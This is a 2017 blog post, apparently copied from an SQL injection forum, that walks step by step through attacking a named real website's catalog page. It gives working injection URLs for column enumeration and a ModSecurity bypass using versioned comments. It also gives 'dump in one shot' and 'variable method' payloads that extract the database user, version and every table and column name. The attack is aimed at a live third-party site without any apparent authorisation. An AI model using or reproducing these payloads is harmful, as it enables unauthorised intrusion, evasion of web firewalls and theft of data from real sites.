Newest Post

// Posted by :Unknown // On :Senin, 13 Februari 2017

Hello

Today i'm going to show you sqli (variable) method.***
ok let's start :

1. 1st we will try to balance query

site: http://www.unmpress.com/shell.php?Page=catalog

so we will put ( \ ) back slash in catalog
site give us a error
pic: http://prntscr.com/8nzhm2

ok now trying to fix this error

http://www.unmpress.com/shell.php?Page=catalog') -- -

Done Smile
query successfully fixed
pic: http://prntscr.com/8nzidy

ok now trying to inject this site Smile

1st we will find total Column Smile

http://www.unmpress.com/shell.php?Page=catalog') order by 1 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 2 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 3 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 4 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 5 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 6 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 7 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 8 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 9 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 10 -- - [ no error ]
http://www.unmpress.com/shell.php?Page=catalog') order by 11 -- - [ error ]

pic: http://prntscr.com/8nziwo

so it's mean Total column is 10

ok now we will fin vulnerable column
http://www.unmpress.com/shell.php?Page=catalog') and 0 union select 1,2,3,4,5,6,7,8,9,10 -- -

Sad Not Acceptable!
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

Pic: http://prntscr.com/8nzk9t

don't worry we will try to bypass it ******

Big Grin done ****** Successfully bypassed

site: http://www.unmpress.com/shell.php?Page=catalog') and 0 /*!50000union*/ /*!50000select*/ 1,2,3,4,5,6,7,8,9,10 -- -
pic: http://prntscr.com/8nzlb7

we found total 3 column vulnerable
column 9,3,4
pic: http://prntscr.com/8nzlr6

now try to do dios in any table ******
i use dios in number 3 vulnerable column


Code:
http://www.unmpress.com/shell.php?Page=catalog')  and 0 /*!50000union*/ /*!50000select*/ 1,2,3,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),5,6,7,8,9,10 -- -

but it's not working ******

Sad

ok now we will try something different.*** now we will try to use Variable Method

as a example : and@x:=concat() union select 1,@x,3 -- -

and@x:= (@x it's variable)
you can use any word @c @b @m anything ***
and variable method writing example : (and) then your variable method like @x then (Smile semi colon then (=) a equal then your text or dios

and@x:=concat(database()) union select 1,@x,3 -- -

so if vulnerable column is 2 thenn it's show you database name coz you store database function in your variable ****** so you can print version,database,user etc.***

ok now we will try it in our vulnerable site Big Grin
Code:
http://www.unmpress.com/shell.php?Page =catalog%27%29%20%20+and@x:=concat+%280x3c62723e,0x3c62723e,0x696e6a65637465642062792072303074786630726333,0x3c62723e,0x557365723a3a3a3a,USER%28%29,0x3c62723e,0x44423a3a3a3a,DATABASE%28%29,0x3c62723e,0x56657273696f6e3a3a3a3a,VERSION%28%29,0x3c62723e,0x3c62723e,@:=0,%28select+count%28*%29/*!50000from*/information_schema.columns+where+table_schema=database%28%29+and@:=concat+%28@,0x3c6c693e,table_name,0x3a3a,column_name%29%29,@%29/*!50000UNION*/SELECT++1,2,3,@x,5,6,7,8,9,10%20--%20-


Done ****** we are success Smile Big Grin
pic: http://prntscr.com/8nznr3

and sorry for my Bad English :'(

Source http://forum.sqliwiki.com/showthread.php?tid=2

Leave a Reply

Subscribe to Posts | Subscribe to Comments

// Copyright © 2012 Catatan seorang newbie //Anime-Note//Powered by Blogger // Designed by Johanes Djogan //